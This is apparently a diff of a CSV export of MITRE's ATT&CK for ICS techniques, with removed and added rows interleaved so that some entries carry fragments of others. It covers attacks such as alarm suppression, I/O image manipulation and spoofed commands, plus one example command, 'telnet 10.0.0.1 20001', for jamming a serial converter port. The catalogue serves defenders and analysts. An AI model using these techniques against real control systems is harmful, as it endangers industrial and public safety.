'https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf'}, {'source_name': 'Oldsmar Water Treatment Attack Feb 2021', 'description': 'Pinellas County Sheriff’s Office. (2021, February 8). Treatment Plant Intrusion Press Conference. Retrieved October 8, 2021.', 'url': 'https://www.youtube.com/watch?v=MkXDSOgLQ6M'}]",,attack-pattern,attack-pattern--b0628bfc-5376-4a38-9182-f324501cb4cf,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-14T15:25:32.143Z,Graphical User Interface,"Adversaries may attempt to gain access to a machine via a Graphical User Interface (GUI) to enhance execution capabilities. Access to a GUI allows a user to interact with a computer in a more visual manner than a CLI. A GUI allows users to move a cursor and click on interface objects, with a mouse and keyboard as the main input devices, as opposed to just using the keyboard. If physical access is not an option, then access might be possible via protocols such as VNC on Linux-based and Unix-based operating systems, and RDP on Windows operating systems. An adversary can use this access to execute programs and applications on the target machine. -*""Random"" Attack or Failure - The adversary may load malicious firmware onto multiple field devices. Execution of an attack and the time it occurs is generated by a pseudo-random number generator. +In the Oldsmar water treatment attack, adversaries utilized the operator HMI interface through the graphical user interface. This action led to immediate operator detection as they were able to see the adversary making changes on their screen. (Citation: Oldsmar Water Treatment Attack Feb 2021)",['execution-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0823,mitre-ics-attack,T0823,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Process: Process Creation']",,,,,['Human-Machine Interface'],,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0883', 'external_id': 'T0883'}, {'source_name': 'Bowman Dam - ICS-CERT', 'description': 'NCCIC. (2014, January 1). Internet Accessible Control Systems At Risk. Retrieved November 7, 2019.', 'url': 'https://www.us-cert.gov/sites/default/files/Monitors/ICS-CERT%20Monitor%20Jan-April2014.pdf'}, {'source_name': 'Bowman Dam - wall street journal', 'description': 'Danny Yadron. (2015, December 20). Iranian Hackers Infiltrated New York Dam in 2013. Retrieved November 7, 2019.', 'url': 'https://www.wsj.com/articles/iranian-hackers-infiltrated-new-york-dam-in-2013-1450662559'}, {'source_name': 'Bowman Dam - Times', 'description': 'Mark Thompson. (2016, March 24). Iranian Cyber Attack on New York Dam Shows Future of War. Retrieved November 7, 2019.', 'url': 'https://time.com/4270728/iran-cyber-attack-dam-fbi/'}, {'source_name': 'Trend Micro Honeypot', 'description': 'Stephen Hilt, Federico Maggi, Charles Perine, Lord Remorin, Martin Rösler, and Rainer Vosseler. (n.d.). Caught in the Act: Running a Realistic Factory Honeypot to Capture Real Threats. Retrieved April 12, 2021.', 'url': 'https://documents.trendmicro.com/assets/white_papers/wp-caught-in-the-act-running-a-realistic-factory-honeypot-to-capture-real-threats.pdf'}]",,attack-pattern,attack-pattern--f8df6b57-14bc-425f-9a91-6f59f6799307,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Internet Accessible Device,"Adversaries may gain access into industrial environments through systems exposed directly to the internet for remote access rather than through External Remote Services. Internet Accessible Devices are exposed to the internet unintentionally or intentionally without adequate protections. This may allow for adversaries to move directly into the control system network. Access onto these devices is accomplished without the use of exploits, these would be represented within the Exploit Public-Facing Application technique. Adversaries may leverage built in functions for remote access which may not be protected or utilize minimal legacy protections that may be targeted.(Citation: Bowman Dam - ICS-CERT) In the case of the Bowman dam incident, adversaries leveraged access to the dam control network through a cellular modem. Access to the device was protected by password authentication, although the application was vulnerable to brute forcing.(Citation: Bowman Dam - ICS-CERT)(Citation: Bowman Dam - wall street journal)(Citation: owman Dam - Times) In Trend Micro’s manufacturing deception operations adversaries were detected leveraging direct internet access to an ICS environment through the exposure of operational protocols such as Siemens S7, Omron FINS, and EtherNet/IP, in addition to misconfigured VNC access.(Citation: Trend Micro Honeypot)",['initial-access-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0883,mitre-ics-attack,T0883,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Logon Session: Logon Session Metadata']",,,,,"['Control Server', 'Data Historian', 'Field Controller/RTU/PLC/IED', 'Human-Machine Interface', 'Input/Output Server', 'Safety Instrumented System/Protection Relay']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impact-ics'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0828', 'external_id': 'T0828'}, {'source_name': 'Distrupted Operations at Lion Company June 2020', 'description': 'Paganini, Pierluigi. (2020, June 14). Ransomware attack disrupts operations at Australian beverage company Lion. Retrieved October 8, 2021.', 'url': 'https://securityaffairs.co/wordpress/104749/cyber-crime/ransomware-attack-hit-lion.html'}, {'source_name': 'Lion Cyber Incident June 2020', 'description': 'Lion Corporation. (2020, June 26). Lion Cyber incident update: 26 June 2020. Retrieved October 8, 2021.', 'url': 'https://lionco.com/2020/06/26/lion-update-re-cyber-issue/'}, {'source_name': 'Colonial Pipeline System Distruption May 2021', 'description': 'Colonial Pipeline Company. (2021, May). Media Statement Update: Colonial Pipeline System Disruption. Retrieved October 8, 2021.', 'url': 'https://www.colpipe.com/news/press-releases/media-statement-colonial-pipeline-system-disruption'}]",,attack-pattern,attack-pattern--63b6942d-8359-4506-bfb3-cf87aa8120ee,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-14T15:25:32.143Z,Loss of Productivity and Revenue,"Adversaries may cause loss of productivity and revenue through disruption and even damage to the availability and integrity of control system operations, devices, and related processes. This technique may manifest as a direct effect of an ICS-targeting attack or tangentially, due to an IT-targeting attack against non-segregated environments. -*A Field Device Worm - The adversary may choose to identify all field devices of the same model, with the end goal of performing a device-wide compromise. +In cases where these operations or services are brought to a halt, the loss of productivity may eventually present an impact for the end-users or consumers of products and services. The disrupted supply-chain may result in supply shortages and increased prices, among other consequences. -*Attack Other Cards on the Field Device - Although it is not the most important module in a field device, the Ethernet card is most accessible to the adversary and malware. Compromise of the Ethernet card may provide a more direct route to compromising other modules, such as the CPU module.",attack-pattern--efbf7888-f61b-4572-9c80-7e2965c60707,attack-pattern,"['persistence-ics', 'impair-process-control']",2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Sequential event recorder', 'Network protocol analysis', 'Packet capture', 'Digital signatures']",,,,"['Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0842', 'source_name': 'mitre-ics-attack', 'external_id': 'T0842'}, {'description': 'Enterprise ATT&CK. (2018, January 11). Network Sniffing. Retrieved May 17, 2018.', 'source_name': 'EAttack Network Sniffing', 'url': 'https://attack.mitre.org/wiki/Technique/T1040'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'discovery-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0842,mitre-ics-attack,T0842,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Network Sniffing,"Network sniffing is the practice of using a network interface on a computer system to monitor or capture information (Citation: EAttack Network Sniffing) regardless of whether it is the specified destination for the information. +A ransomware attack on an Australian beverage company resulted in the shutdown of some manufacturing sites, including precautionary halts to protect key systems. (Citation: Distrupted Operations at Lion Company June 2020) The company announced the potential for temporary shortages of their products following the attack. (Citation: Distrupted Operations at Lion Company June 2020) (Citation: Lion Cyber Incident June 2020) -An adversary may attempt to sniff the traffic to gain information about the target. This information can vary in the level of importance. Relatively unimportant information is general communications to and from machines. Relatively important information would be login information. User credentials may be sent over an unencrypted protocol, such as [https://tools.ietf.org/html/rfc854 Telnet], that can be captured and obtained through network packet analysis. Network sniffing can be a way to discover information for Control Device Identification. +In the 2021 Colonial Pipeline ransomware incident, the pipeline was unable to transport approximately 2.5 million barrels of fuel per day to the East Coast. (Citation: Colonial Pipeline System Distruption May 2021)",['impact-ics'],https://collaborate.mitre.org/attackics/index.php/Technique/T0828,mitre-ics-attack,T0828,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['None'],,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T835', 'external_id': 'T0835'}, {'source_name': 'Guidance - ISA PLC', 'description': 'Dr. Kelvin T. Erickson. (2010, December). Programmable logic controller hardware. Retrieved March 29, 2018.', 'url': 'https://www.isa.org/standards-and-publications/isa-publications/intech/2010/december/programmable-logic-controller-hardware/'}, {'source_name': 'PLC-Blaster 2', 'description': 'Spenneberg, Ralf. (2016). PLC-Blaster. Retrieved June 6, 2019.', 'url': 'https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC.pdf'}, {'source_name': 'Stuxnet - Symantec - 201102', 'description': 'Nicolas Falliere, Liam O Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier (Version 1.4). Retrieved September 22, 2017.', 'url': 'https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20stuxnet%20dossier.pdf'}]",,attack-pattern,attack-pattern--36e9f5bc-ac13-4da4-a2f4-01f4877d9004,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-14T15:25:32.143Z,Manipulate I/O Image,"Adversaries may manipulate the I/O image of PLCs through various means to prevent them from functioning as expected. Methods of I/O image manipulation may include overriding the I/O table via direct memory manipulation or using the override function used for testing PLC programs. (Citation: Guidance - ISA PLC) -In addition, ARP and Domain Name Service (DNS) poisoning can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary. +During the scan cycle, a PLC reads the status of all inputs and stores them in an image table.2 The image table is the PLC’s internal storage location where values of inputs/outputs for one scan are stored while it executes the user program. After the PLC has solved the entire logic program, it updates the output image table. The contents of this output image table are written to the corresponding output points in I/O Modules. -Detection: Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.",attack-pattern--38213338-1aab-479d-949b-c81b66ccca5c,attack-pattern,['discovery-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Network device logs', 'Process monitoring', 'Netflow/Enclave netflow', 'Host network interfaces']",,,,['Field Controller/RTU/PLC/IED'],,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0873', 'source_name': 'mitre-ics-attack', 'external_id': 'T0873'}, {'description': 'Nicolas Falliere, Liam O Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier (Version 1.4). Retrieved September 22, 2017.', 'source_name': 'Stuxnet - Symantec - 201102', 'url': 'https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20stuxnet%20dossier.pdf'}, {'description': 'Beckhoff. (n.d.). TwinCAT 3 Source Control: Project Files. Retrieved November 21, 2019.', 'source_name': 'References - beckhoff project files', 'url': 'https://infosys.beckhoff.com/english.php?content=../content/1033/tc3%20sourcecontrol/18014398915785483.html&id='}, {'description': ""PLCdev. (n.d.). Siemens SIMATIC Step 7 Programmer's Handbook. Retrieved November 21, 2019."", 'source_name': 'References - plcdev siemens', 'url': 'http://www.plcdev.com/book/export/html/373'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'persistence-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0873,mitre-ics-attack,T0873,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Project File Infection,"Adversaries may attempt to infect project files with malicious code. These project files may consist of objects, program organization units, variables such as tags, documentation, and other configurations needed for PLC programs to function. (Citation: References - beckhoff project files) Using built in functions of the engineering software, adversaries may be able to download an infected program to a PLC in the operating environment enabling further execution and persistence techniques. (Citation: References - plcdev siemens) +One of the unique characteristics of PLCs is their ability to override the status of a physical discrete input or to override the logic driving a physical output coil and force the output to a desired status.",['inhibit-response-function'],https://collaborate.mitre.org/attackics/index.php/Technique/T835,mitre-ics-attack,T0835,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Operational Databases: Process History/Live Data', 'Operational Databases: Device Alarm']",,,,,['Field Controller/RTU/PLC/IED'],,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0838', 'external_id': 'T0838'}, {'source_name': 'Maroochy - MITRE - 200808', 'description': 'Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', 'url': 'https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'}, {'source_name': 'References - Secura - 2019', 'description': 'Jos Wetzels, Marina Krotofil. (2019). A Diet of Poisoned Fruit: Designing Implants & OT Payloads for ICS Embedded Devices. Retrieved November 1, 2019.', 'url': 'https://troopers.de/downloads/troopers19/TROOPERS19%20NGI%20IoT%20diet%20poisoned%20fruit.pdf'}]",,attack-pattern,attack-pattern--e5de767e-f513-41cd-aa15-33f6ce5fbf92,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Modify Alarm Settings,"Adversaries may modify alarm settings to prevent alerts that may inform operators of their presence or to prevent responses to dangerous and unintended scenarios. Reporting messages are a standard part of data acquisition in control systems. Reporting messages are used as a way to transmit system state information and acknowledgements that specific actions have occurred. These messages provide vital information for the management of a physical process, and keep operators, engineers, and administrators aware of the state of system devices and physical processes. -Adversaries may export their own code into project files with conditions to execute at specific intervals. (Citation: Stuxnet - Symantec - 201102) Malicious programs allow adversaries control of all aspects of the process enabled by the PLC. Once the project file is downloaded to a PLC the workstation device may be disconnected with the infected project file still executing. (Citation: References - plcdev siemens)",attack-pattern--e72425f8-9ae6-41d3-bfdb-e1b865e60722,attack-pattern,['persistence-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['File monitoring', 'Digital signatures']",,,,"['Engineering Workstation', 'Human-Machine Interface']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0852', 'source_name': 'mitre-ics-attack', 'external_id': 'T0852'}, {'description': 'ICS-CERT. (2017, October 21). Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved October 23, 2017.', 'source_name': 'Alert - Russian APT TA18-074A - 201803', 'url': 'https://www.us-cert.gov/ncas/alerts/TA17-293A'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'collection-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0852,mitre-ics-attack,T0852,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Screen Capture,"Adversaries may attempt to perform screen capture of devices in the control system environment. Screenshots may be taken of workstations, HMIs, or other devices that display environment-relevant process, device, reporting, alarm, or related data. These device displays may reveal information regarding the ICS process, layout, control, and related schematics. In particular, an HMI can provide a lot of important industrial process information. (Citation: Alert - Russian APT TA18-074A - 201803) Analysis of screen captures may provide the adversary with an understanding of intended operations and interactions between critical devices.",attack-pattern--c5e3cdbc-0387-4be9-8f83-ff5c0865f377,attack-pattern,['collection-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['API monitoring', 'Process monitoring', 'File monitoring']",,,,['Human-Machine Interface'],,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0856', 'source_name': 'mitre-ics-attack', 'external_id': 'T0856'}, {'description': 'Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018.', 'source_name': 'Research - Research - Taxonomy Cyber Attacks on SCADA', 'url': 'http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258'}, {'description': 'Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', 'source_name': 'Maroochy - MITRE - 200808', 'url': 'https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'evasion-ics'}, {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impair-process-control'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0856,mitre-ics-attack,T0856,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Spoof Reporting Message,"Adversaries may spoof reporting messages in control systems environments to achieve evasion and assist with impairment of process controls. Reporting messages are used in control systems so that operators and network defenders can understand the status of the network. Reporting messages show the status of devices and any important events that the devices control. +If an adversary is able to change the reporting settings, certain events could be prevented from being reported. This type of modification can also prevent operators or devices from performing actions to keep the system in a safe state. If critical reporting messages cannot trigger these actions then a Impact could occur. -If an adversary has the ability to Spoof Reporting Messages, then they can impact the network in many ways. The adversary can Spoof Reporting Messages that state that the device is in normal working condition, as a form of evasion. The adversary could also Spoof Reporting Messages to make the defenders and operators think that other errors were occurring, to distract them from the actual source of the problem. (Citation: Research - Research - Taxonomy Cyber Attacks on SCADA) +In ICS environments, the adversary may have to use Alarm Suppression or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring. (Citation: References - Secura - 2019) Methods of suppression often rely on modification of alarm settings, such as modifying in memory code to fixed values or tampering with assembly level instruction code. -In the Maroochy Attack, the adversary used a dedicated analog two-way radio system to send false data and instructions to pumping stations and the central computer. (Citation: Maroochy - MITRE - 200808)",attack-pattern--8535b71e-3c12-4258-a4ab-40257a1becc4,attack-pattern,"['evasion-ics', 'impair-process-control']",2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Alarm History', 'Network protocol analysis', 'Packet capture']",,,,['Control Server'],,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0855', 'source_name': 'mitre-ics-attack', 'external_id': 'T0855'}, {'description': 'Benjamin Freed. (2019, March 13). Tornado sirens in Dallas suburbs deactivated after being hacked and set off. Retrieved November 6, 2020.', 'source_name': 'StateScoop Dallas March 2019', 'url': 'https://statescoop.com/tornado-sirens-in-dallas-suburbs-deactivated-after-being-hacked-and-set-off/'}, {'description': 'Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018.', 'source_name': 'Research - Research - Taxonomy Cyber Attacks on SCADA', 'url': 'http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258'}, {'description': 'Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.', 'source_name': 'Ukraine15 - EISAC - 201603', 'url': 'https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf'}, {'description': 'Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018.', 'source_name': 'Maroochy - MITRE - 200808', 'url': 'https://www.mitre.org/sites/default/files/pdf/08%201145.pdf'}, {'description': ""Zack Whittaker. (2017, April 12). Dallas' emergency sirens were hacked with a rogue radio signal. Retrieved November 6, 2020."", 'source_name': 'ZDNet Dallas April 2017', 'url': 'https://www.zdnet.com/article/experts-think-they-know-how-dallas-emergency-sirens-were-hacked/'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impair-process-control'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0855,mitre-ics-attack,T0855,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Unauthorized Command Message,"Adversaries may send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, or without the logical preconditions to trigger their expected function. Command messages are used in ICS networks to give direct instructions to control systems devices. If an adversary can send an unauthorized command message to a control system, then it can instruct the control systems device to perform an action outside the normal bounds of the device's actions. An adversary could potentially instruct a control systems device to perform an action that will cause an Impact. In the Maroochy Attack, the adversary used a dedicated analog two-way radio system to send false data and instructions to pumping stations and the central computer. In the Dallas Siren incident, adversaries were able to send command messages to activate tornado alarm systems across the city without an impending tornado or other disaster. Alarms were activated more than a dozen times. These disruptions occurred once in 2017, and later in a nearby county in 2019.",attack-pattern--40b300ba-f553-48bf-862e-9471b220d455,attack-pattern,['impair-process-control'],2021-04-13T09:28:26.506Z,2020-05-21T17:43:26.506Z,,"['Alarm history', 'Sequential event recorder', 'Netflow/Enclave netflow', 'Packet capture', 'Network protocol analysis']",,,,['Field Controller/RTU/PLC/IED'],,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0800', 'source_name': 'mitre-ics-attack', 'external_id': 'T0800'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0800,mitre-ics-attack,T0800,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Activate Firmware Update Mode,"Adversaries may activate firmware update mode on devices to prevent expected response functions from engaging in reaction to an emergency or process malfunction. For example, devices such as protection relays may have an operation mode designed for firmware installation. This mode may halt process monitoring and related functions to allow new firmware to be loaded. A device left in update mode may be placed in an inactive holding state if no firmware is provided to it. By entering and leaving a device in this mode, the adversary may deny its usual functionalities.",attack-pattern--19a71d1e-6334-4233-8260-b749cae37953,attack-pattern,['inhibit-response-function'],2021-04-13T12:02:26.506Z,2020-05-21T17:43:26.506Z,,"['Application logs', 'Sequential event recorder', 'Network protocol analysis', 'Packet capture']",['Joe Slowik - Dragos'],,,"['Field Controller/RTU/PLC/IED', 'Safety Instrumented System/Protection Relay']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0805', 'source_name': 'mitre-ics-attack', 'external_id': 'T0805'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'inhibit-response-function'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0805,mitre-ics-attack,T0805,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Block Serial COM,"Adversaries may block access to serial COM to prevent instructions or configurations from reaching target devices. Serial Communication ports (COM) allow communication with control system devices. Devices can receive command and configuration messages over such serial COM. Devices also use serial COM to send command and reporting messages. Blocking device serial COM may also block command messages and block reporting messages. +In the Maroochy Attack, the adversary disabled alarms at four pumping stations. This caused alarms to not be reported to the central computer. (Citation: Maroochy - MITRE - 200808)",['inhibit-response-function'],https://collaborate.mitre.org/attackics/index.php/Technique/T0838,mitre-ics-attack,T0838,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Content', 'Application Log: Application Log Content', 'Operational Databases: Process History/Live Data']",,,,,"['Human-Machine Interface', 'Control Server', 'Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED', 'Device Configuration/Parameters']",,,,,,,,, +"[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'persistence-ics'}, {'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'impair-process-control'}]","[{'source_name': 'mitre-ics-attack', 'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0839', 'external_id': 'T0839'}, {'source_name': 'References - Module Firmware', 'description': 'Daniel Peck, Dale Peterson. (2009, January 28). Leveraging Ethernet Card Vulnerabilities in Field Devices. Retrieved December 19, 2017.', 'url': 'https://www.researchgate.net/publication/228849043%20Leveraging%20ethernet%20card%20vulnerabilities%20in%20field%20devices'}]",,attack-pattern,attack-pattern--efbf7888-f61b-4572-9c80-7e2965c60707,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-05-21T17:43:26.506Z,2021-10-08T15:25:32.143Z,Module Firmware,"Adversaries may install malicious or vulnerable firmware onto modular hardware devices. Control system devices often contain modular hardware devices. These devices may have their own set of firmware that is separate from the firmware of the main control system equipment. -A serial to Ethernet converter is often connected to a serial COM to facilitate communication between serial and Ethernet devices. One approach to blocking a serial COM would be to create and hold open a TCP session with the Ethernet side of the converter. A serial to Ethernet converter may have a few ports open to facilitate multiple communications. For example, if there are three serial COM available -- 1, 2 and 3 --, the converter might be listening on the corresponding ports 20001, 20002, and 20003. If a TCP/IP connection is opened with one of these ports and held open, then the port will be unavailable for use by another party. One way the adversary could achieve this would be to initiate a TCP session with the serial to Ethernet converter at 10.0.0.1 via Telnet on serial port 1 with the following command: telnet 10.0.0.1 20001.",attack-pattern--1c478716-71d9-46a4-9a53-fa5d576adb60,attack-pattern,['inhibit-response-function'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,"['Alarm history', 'Data historian', 'Network protocol analysis', 'Packet capture']",,,,"['Field Controller/RTU/PLC/IED', 'Input/Output Server']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0885', 'source_name': 'mitre-ics-attack', 'external_id': 'T0885'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'command-and-control-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0885,mitre-ics-attack,T0885,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Commonly Used Port,"Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend in with normal network activity, to avoid more detailed inspection. They may use the protocol associated with the port, or a completely different protocol. They may use commonly open ports, such as the examples provided below. -* TCP:80 (HTTP) -* TCP:443 (HTTPS) -* TCP/UDP:53 (DNS) -* TCP:1024-4999 (OPC on XP/Win2k3) -* TCP:49152-65535 (OPC on Vista and later) -* TCP:23 (TELNET) -* UDP:161 (SNMP) -* TCP:502 (MODBUS) -* TCP:102 (S7comm/ISO-TSAP) -* TCP:20000 (DNP3) -* TCP:44818 (Ethernet/IP) +This technique is similar to System Firmware, but is conducted on other system components that may not have the same capabilities or level of integrity checking. Although it results in a device re-image, malicious device firmware may provide persistent access to remaining devices. (Citation: References - Module Firmware) -Contributors: Matan Dobrushin - Otorio",attack-pattern--e6c31185-8040-4267-83d3-b217b8a92f07,attack-pattern,['command-and-control-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,,['Matan Dobrushin - Otorio'],,,"['Safety Instrumented System/Protection Relay', 'Field Controller/RTU/PLC/IED', 'Human-Machine Interface', 'Control Server', 'Engineering Workstation']",,,,,,,,,,,,,, -"[{'url': 'https://collaborate.mitre.org/attackics/index.php/Technique/T0810', 'source_name': 'mitre-ics-attack', 'external_id': 'T0810'}, {'description': 'Dragos. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved October 14, 2019.', 'source_name': 'Industroyer - Dragos - 201810', 'url': 'https://dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf'}]","[{'kill_chain_name': 'mitre-ics-attack', 'phase_name': 'initial-access-ics'}]",,,https://collaborate.mitre.org/attackics/index.php/Technique/T0810,mitre-ics-attack,T0810,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Data Historian Compromise,"Adversaries may compromise and gain control of a data historian to gain a foothold into the control system environment. Access to a data historian may be used to learn stored database archival and analysis information on the control system. A dual-homed data historian may provide adversaries an interface from the IT environment to the OT environment. +An easy point of access for an adversary is the Ethernet card, which may have its own CPU, RAM, and operating system. The adversary may attack and likely exploit the computer on an Ethernet card. Exploitation of the Ethernet card computer may enable the adversary to accomplish additional attacks, such as the following: (Citation: References - Module Firmware) -Dragos has released an updated analysis on CrashOverride that outlines the attack from the ICS network breach to payload delivery and execution. (Citation: Industroyer - Dragos - 201810) The report summarized that CrashOverride represents a new application of malware, but relied on standard intrusion techniques. In particular, new artifacts include references to a Microsoft Windows Server 2003 host, with a SQL Server. Within the ICS environment, such a database server can act as a data historian. Dragos noted a device with this role should be ""expected to have extensive connections"" within the ICS environment. Adversary activity leveraged database capabilities to perform reconnaissance, including directory queries and network connectivity checks. +*Delayed Attack - The adversary may stage an attack in advance and choose when to launch it, such as at a particularly damaging time. -Permissions Required: Administrator +*Brick the Ethernet Card - Malicious firmware may be programmed to result in an Ethernet card failure, requiring a factory return. -Contributors: Joe Slowik - Dragos",attack-pattern--50d3222f-7550-4a3c-94e1-78cb6c81d064,attack-pattern,['initial-access-ics'],2020-05-21T17:43:26.506Z,2020-05-21T17:43:26.506Z,,,['Joe Slowik - Dragos'],,['Administrator'],['Windows'],,,,,,,,,,,,,, -"[{'url': 